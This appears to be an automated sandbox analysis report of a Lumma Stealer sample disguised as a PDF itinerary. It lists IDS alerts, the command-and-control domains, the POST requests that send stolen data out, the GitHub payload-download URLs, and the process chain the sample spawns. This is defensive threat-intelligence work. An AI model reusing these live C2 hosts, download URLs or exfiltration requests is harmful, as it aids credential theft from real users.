Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.7:49768 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49784 -> 172.67.197.170:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: necklacebudi.lat
Source: Malware configuration extractor	URLs: sustainskelet.lat
Source: Malware configuration extractor	URLs: energyaffai.lat
Source: Malware configuration extractor	URLs: grannyejh.lat
Source: Malware configuration extractor	URLs: aspecteirs.lat
Source: Malware configuration extractor	URLs: rapeflowwj.lat
Source: Malware configuration extractor	URLs: crosshuaht.lat
Source: Malware configuration extractor	URLs: stem-mellows.cyou
Source: Malware configuration extractor	URLs: discokeyus.lat

Source: Joe Sandbox View	IP Address: 185.199.110.133 185.199.110.133
Source: Joe Sandbox View	IP Address: 185.199.110.133 185.199.110.133
Source: Joe Sandbox View	IP Address: 172.67.197.170 172.67.197.170

Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49727 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49715 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49750 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49756 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49745 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49768 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49784 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49762 -> 172.67.197.170:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: discokeyus.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 48Host: discokeyus.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=P5TANLSLXSMI1PUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12821Host: discokeyus.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=I52PEKALHBLUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15035Host: discokeyus.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=4YG2T3MJRWG9I737Y3OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20408Host: discokeyus.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=IOSLEP4CTXEMUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1235Host: discokeyus.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=VOVVNMP8HPSWYUUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 425349Host: discokeyus.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 83Host: discokeyus.lat

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /AromatcHEBUYRKOS/chekingbebra/refs/heads/main/NavanItinerary.pdf HTTP/1.1User-Agent: csHost: raw.githubusercontent.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /AromatcHEBUYRKOS/chekingbebra/refs/heads/main/millliiiiion HTTP/1.1Accept: /User-Agent: Chrome/95.0.4638.54Host: raw.githubusercontent.com

Source: global traffic	DNS traffic detected: DNS query: raw.githubusercontent.com
Source: global traffic	DNS traffic detected: DNS query: stem-mellows.cyou
Source: global traffic	DNS traffic detected: DNS query: grannyejh.lat
Source: global traffic	DNS traffic detected: DNS query: discokeyus.lat
Source: global traffic	DNS traffic detected: DNS query: x1.i.lencr.org

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: discokeyus.lat

Source: 77EC63BDA74BD0D0E0426DC8F8008506.10.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: 2D85F72862B55C4EADD9E66E06947F3D.10.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: RegSvcs.exe, 0000000D.00000002.1636367348.00000000011D9000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.1636492005.0000000001233000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/
Source: RegSvcs.exe, 0000000D.00000002.1636297807.000000000119C000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.1636509588.0000000001242000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/api
Source: RegSvcs.exe, 0000000D.00000002.1636367348.00000000011D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/p
Source: RegSvcs.exe, 0000000D.00000002.1636492005.0000000001233000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/yv
Source: Navan - Itinerary.pdf.scr.exe, 00000000.00000002.1638313764.0000000000C63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/
Source: Navan - Itinerary.pdf.scr.exe, 00000000.00000003.1637597165.0000000000C63000.00000004.00000020.00020000.00000000.sdmp, Navan - Itinerary.pdf.scr.exe, 00000000.00000002.1638313764.0000000000C63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/4
Source: Navan - Itinerary.pdf.scr.exe, 00000000.00000003.1637597165.0000000000C63000.00000004.00000020.00020000.00000000.sdmp, Navan - Itinerary.pdf.scr.exe, 00000000.00000002.1638313764.0000000000C63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/6
Source: Navan - Itinerary.pdf.scr.exe, 00000000.00000003.1637597165.0000000000C63000.00000004.00000020.00020000.00000000.sdmp, Navan - Itinerary.pdf.scr.exe, 00000000.00000002.1638313764.0000000000C10000.00000004.00000020.00020000.00000000.sdmp, Navan - Itinerary.pdf.scr.exe, 00000000.00000002.1638313764.0000000000C63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/AromatcHEBUYRKOS/chekingbebra/refs/heads/main/NavanItinerary.pdf
Source: Navan - Itinerary.pdf.scr.exe, 00000000.00000002.1638313764.0000000000C83000.00000004.00000020.00020000.00000000.sdmp, Navan - Itinerary.pdf.scr.exe, 00000000.00000002.1638313764.0000000000CD2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/AromatcHEBUYRKOS/chekingbebra/refs/heads/main/millliiiiion
Source: Navan - Itinerary.pdf.scr.exe, 00000000.00000003.1637597165.0000000000C83000.00000004.00000020.00020000.00000000.sdmp, Navan - Itinerary.pdf.scr.exe, 00000000.00000002.1638313764.0000000000C83000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/AromatcHEBUYRKOS/chekingbebra/refs/heads/main/millliiiiion8z
Source: Navan - Itinerary.pdf.scr.exe, 00000000.00000003.1637597165.0000000000C83000.00000004.00000020.00020000.00000000.sdmp, Navan - Itinerary.pdf.scr.exe, 00000000.00000002.1638313764.0000000000C83000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/AromatcHEBUYRKOS/chekingbebra/refs/heads/main/millliiiiion=
Source: Navan - Itinerary.pdf.scr.exe, 00000000.00000003.1637597165.0000000000C83000.00000004.00000020.00020000.00000000.sdmp, Navan - Itinerary.pdf.scr.exe, 00000000.00000002.1638313764.0000000000C83000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/AromatcHEBUYRKOS/chekingbebra/refs/heads/main/millliiiiionY
Source: Navan - Itinerary.pdf.scr.exe, 00000000.00000003.1637597165.0000000000C63000.00000004.00000020.00020000.00000000.sdmp, Navan - Itinerary.pdf.scr.exe, 00000000.00000002.1638313764.0000000000C63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/u
Source: ReaderMessages.9.dr	String found in binary or memory: https://www.adobe.co

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756

Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.7:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.7:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.7:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.7:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.7:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.7:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.7:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.7:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.7:49784 version: TLS 1.2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 13_2_004329C0 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

13_2_004329C0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 13_2_004329C0 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

13_2_004329C0

System Summary

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: Navan - Itinerary.pdf.scr.exe

Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Code function: 0_2_00664EB1	0_2_00664EB1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_00408850	13_2_00408850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_00423860	13_2_00423860
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_004218A0	13_2_004218A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_0042DA53	13_2_0042DA53
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_0043ECA0	13_2_0043ECA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_00437DF0	13_2_00437DF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_00409580	13_2_00409580
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_004266D0	13_2_004266D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_0043F720	13_2_0043F720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_00415799	13_2_00415799
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_00438810	13_2_00438810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_0041682D	13_2_0041682D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_004288CB	13_2_004288CB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_0043D880	13_2_0043D880
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_00430940	13_2_00430940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_00403970	13_2_00403970
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_00420939	13_2_00420939
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_004179C1	13_2_004179C1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_004231C2	13_2_004231C2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_004241C0	13_2_004241C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_0043B1D0	13_2_0043B1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_004291DD	13_2_004291DD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_0043D980	13_2_0043D980
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_00405990	13_2_00405990
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_00422190	13_2_00422190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_0043D997	13_2_0043D997
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_0043D999	13_2_0043D999
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_004091B0	13_2_004091B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_0042CA49	13_2_0042CA49
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_00416263	13_2_00416263
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_0040EA10	13_2_0040EA10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_00415220	13_2_00415220
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_0042CAD0	13_2_0042CAD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_004252DD	13_2_004252DD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_0041B2E0	13_2_0041B2E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_00406280	13_2_00406280
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_0043DA80	13_2_0043DA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_0041E290	13_2_0041E290
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_0041CB40	13_2_0041CB40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_0043D34D	13_2_0043D34D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_00426B50	13_2_00426B50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_0043DB60	13_2_0043DB60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_00436B08	13_2_00436B08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_0042830D	13_2_0042830D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_0042CB11	13_2_0042CB11
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_00404320	13_2_00404320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_0042CB22	13_2_0042CB22
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_00425327	13_2_00425327
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_00408330	13_2_00408330
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_0043F330	13_2_0043F330
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_0042A33F	13_2_0042A33F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_0040DBD9	13_2_0040DBD9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_00424380	13_2_00424380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_0041FC75	13_2_0041FC75
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_0041DC00	13_2_0041DC00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_00429C2B	13_2_00429C2B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_004291DD	13_2_004291DD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_004074F0	13_2_004074F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_0040ACF0	13_2_0040ACF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_0041148F	13_2_0041148F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_0042AC90	13_2_0042AC90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_0040CD46	13_2_0040CD46
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_00437500	13_2_00437500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_00422510	13_2_00422510
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_00417DEE	13_2_00417DEE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_0041759F	13_2_0041759F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_00425E70	13_2_00425E70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_00436E74	13_2_00436E74
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_00427603	13_2_00427603
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_00425E30	13_2_00425E30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_004286C0	13_2_004286C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_0043AEC0	13_2_0043AEC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_004236E2	13_2_004236E2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_00405EE0	13_2_00405EE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_0041DE80	13_2_0041DE80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_00402F50	13_2_00402F50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_00420F50	13_2_00420F50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_00438F59	13_2_00438F59
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_00406710	13_2_00406710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_00423F20	13_2_00423F20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_00419F30	13_2_00419F30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_0041E7C0	13_2_0041E7C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_004197C2	13_2_004197C2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_0042DFE9	13_2_0042DFE9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_0040A780	13_2_0040A780
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_00411F90	13_2_00411F90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_00418792	13_2_00418792
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_0043EFB0	13_2_0043EFB0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: String function: 00408030 appears 42 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: String function: 00414400 appears 65 times
Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Code function: String function: 00661E3B appears 32 times
Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Code function: String function: 00661DF7 appears 32 times

Source: Navan - Itinerary.pdf.scr.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@19/46@10/2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 13_2_00437DF0 CoCreateInstance,SysAllocString,CoSetProxyBlanket,SysAllocString,SysAllocString,VariantInit,VariantClear,SysFreeString,SysFreeString,SysFreeString,SysFreeString,GetVolumeInformationW,

13_2_00437DF0

Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\NavanItinerary[1].pdf

Jump to behavior

Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe

File created: C:\Users\user~1\AppData\Local\Temp\NavanItinerary.pdf

Jump to behavior

Source: Navan - Itinerary.pdf.scr.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Navan - Itinerary.pdf.scr.exe	Virustotal: Detection: 11%
Source: Navan - Itinerary.pdf.scr.exe	ReversingLabs: Detection: 13%

Source: unknown	Process created: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe "C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe"
Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\NavanItinerary.pdf"
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2264 --field-trial-handle=1500,i,10956060416113398511,1382103396325876287,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\NavanItinerary.pdf"	Jump to behavior
Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"	Jump to behavior
